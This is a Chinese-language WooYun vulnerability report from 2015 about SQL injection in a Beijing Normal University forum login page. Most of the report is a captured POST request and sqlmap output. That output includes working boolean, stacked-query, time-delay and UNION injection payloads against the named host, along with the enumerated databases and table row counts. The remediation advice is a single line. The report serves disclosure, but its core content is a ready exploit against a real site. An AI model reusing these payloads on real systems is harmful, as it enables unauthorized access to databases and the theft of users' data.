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缺陷编号：wooyun-2015-0155193

漏洞标题：北京师范大学某站SQL注入

相关厂商：北京师范大学

漏洞作者： 路人甲

提交时间：2015-11-23 15:26

修复时间：2015-11-28 15:28

公开时间：2015-11-28 15:28

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

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分享漏洞：

漏洞详情

披露状态：

2015-11-23： 细节已通知厂商并且等待厂商处理中
2015-11-28： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

RT

详细说明：

http://child.bnu.edu.cn/


POST /luntan/LTType.aspx HTTP/1.1
Content-Length: 448
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://child.bnu.edu.cn
Cookie: ASP.NET_SessionId=lp4ji255fu5j2k45tb4zftrt; AJSTAT_ok_pages=2; AJSTAT_ok_times=1
Host: child.bnu.edu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
Button1=%b5%c7%c2%bc&ls_password=g00dPa%24%24w0rD&ls_username=-1&__EVENTVALIDATION=/wEWBALypLmbCALsi7bFAgKsreSLDwKM54rGBkZWYJdPMSLYK%2bfFSn/iT5VlY4d2&__VIEWSTATE=/wEPDwUKMTM4NDQ1ODQ4Nw9kFgICAw9kFg4CAQ8WAh4HVmlzaWJsZWdkAgMPFgIfAGhkAgcPDxYCHgRUZXh0BQQ1MzE3ZGQCCQ8PFgIfAQUFMTAzMTdkZAINDw8WAh8BBQMxMzJkZAIPDw8WAh8BBQExZGQCEQ8PFgIfAQUDMTMxZGRkznwtsahknYkGYok1CaSXRwR9oIo%3d&__VIEWSTATEGENERATOR=635B33AD


ls_username参数存在注入

sqlmap identified the following injection point(s) with a total of 188 HTTP(s) requests:
---
Parameter: ls_username (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (Generic comment)
    Payload: Button1=%b5%c7%c2%bc&ls_password=g00dPa$$w0rD&ls_username=-7138' OR 1647=1647-- -&__EVENTVALIDATION=/wEWBALypLmbCALsi7bFAgKsreSLDwKM54rGBkZWYJdPMSLYK+fFSn/iT5VlY4d2&__VIEWSTATE=/wEPDwUKMTM4NDQ1ODQ4Nw9kFgICAw9kFg4CAQ8WAh4HVmlzaWJsZWdkAgMPFgIfAGhkAgcPDxYCHgRUZXh0BQQ1MzE3ZGQCCQ8PFgIfAQUFMTAzMTdkZAINDw8WAh8BBQMxMzJkZAIPDw8WAh8BBQExZGQCEQ8PFgIfAQUDMTMxZGRkznwtsahknYkGYok1CaSXRwR9oIo=&__VIEWSTATEGENERATOR=635B33AD
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: Button1=%b5%c7%c2%bc&ls_password=g00dPa$$w0rD&ls_username=-1';WAITFOR DELAY '0:0:5'--&__EVENTVALIDATION=/wEWBALypLmbCALsi7bFAgKsreSLDwKM54rGBkZWYJdPMSLYK+fFSn/iT5VlY4d2&__VIEWSTATE=/wEPDwUKMTM4NDQ1ODQ4Nw9kFgICAw9kFg4CAQ8WAh4HVmlzaWJsZWdkAgMPFgIfAGhkAgcPDxYCHgRUZXh0BQQ1MzE3ZGQCCQ8PFgIfAQUFMTAzMTdkZAINDw8WAh8BBQMxMzJkZAIPDw8WAh8BBQExZGQCEQ8PFgIfAQUDMTMxZGRkznwtsahknYkGYok1CaSXRwR9oIo=&__VIEWSTATEGENERATOR=635B33AD
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (comment)
    Payload: Button1=%b5%c7%c2%bc&ls_password=g00dPa$$w0rD&ls_username=-1' WAITFOR DELAY '0:0:5'--&__EVENTVALIDATION=/wEWBALypLmbCALsi7bFAgKsreSLDwKM54rGBkZWYJdPMSLYK+fFSn/iT5VlY4d2&__VIEWSTATE=/wEPDwUKMTM4NDQ1ODQ4Nw9kFgICAw9kFg4CAQ8WAh4HVmlzaWJsZWdkAgMPFgIfAGhkAgcPDxYCHgRUZXh0BQQ1MzE3ZGQCCQ8PFgIfAQUFMTAzMTdkZAINDw8WAh8BBQMxMzJkZAIPDw8WAh8BBQExZGQCEQ8PFgIfAQUDMTMxZGRkznwtsahknYkGYok1CaSXRwR9oIo=&__VIEWSTATEGENERATOR=635B33AD
    Type: UNION query
    Title: Generic UNION query (NULL) - 20 columns
    Payload: Button1=%b5%c7%c2%bc&ls_password=g00dPa$$w0rD&ls_username=-1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(120)+CHAR(98)+CHAR(106)+CHAR(113)+CHAR(113)+CHAR(106)+CHAR(83)+CHAR(113)+CHAR(120)+CHAR(83)+CHAR(86)+CHAR(72)+CHAR(118)+CHAR(78)+CHAR(122)+CHAR(97)+CHAR(84)+CHAR(107)+CHAR(79)+CHAR(75)+CHAR(114)+CHAR(87)+CHAR(101)+CHAR(70)+CHAR(117)+CHAR(120)+CHAR(111)+CHAR(74)+CHAR(105)+CHAR(113)+CHAR(106)+CHAR(77)+CHAR(76)+CHAR(71)+CHAR(87)+CHAR(80)+CHAR(98)+CHAR(85)+CHAR(88)+CHAR(79)+CHAR(70)+CHAR(78)+CHAR(83)+CHAR(97)+CHAR(113)+CHAR(120)+CHAR(113)+CHAR(113)+CHAR(113),NULL,NULL,NULL,NULL-- -&__EVENTVALIDATION=/wEWBALypLmbCALsi7bFAgKsreSLDwKM54rGBkZWYJdPMSLYK+fFSn/iT5VlY4d2&__VIEWSTATE=/wEPDwUKMTM4NDQ1ODQ4Nw9kFgICAw9kFg4CAQ8WAh4HVmlzaWJsZWdkAgMPFgIfAGhkAgcPDxYCHgRUZXh0BQQ1MzE3ZGQCCQ8PFgIfAQUFMTAzMTdkZAINDw8WAh8BBQMxMzJkZAIPDw8WAh8BBQExZGQCEQ8PFgIfAQUDMTMxZGRkznwtsahknYkGYok1CaSXRwR9oIo=&__VIEWSTATEGENERATOR=635B33AD
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005


---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
available databases [5]:
[*] KGDB
[*] master
[*] model
[*] msdb
[*] tempdb


web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
Database: KGDB
+----------------+---------+
| Table          | Entries |
+----------------+---------+
| dbo.lt_huifu   | 10821   |
| dbo.XiaoYou    | 8762    |
| dbo.lt_tiezi   | 5527    |
| dbo.lt_user    | 3041    |
| dbo.News       | 1973    |
| dbo.lt_class   | 71      |
| dbo.lt_bk      | 67      |
| dbo.t_typename | 57      |
| dbo.xh_upfile  | 29      |
| dbo.F_UserInfo | 12      |
| dbo.BigType    | 8       |
| dbo.XiaoQu     | 8       |
| dbo.lt_bktype  | 7       |
| dbo.SmallType  | 5       |
| dbo.ZhongXin   | 2       |
+----------------+---------+

漏洞证明：

修复方案：

多处存在注入，整体改改吧

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-11-28 15:28

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无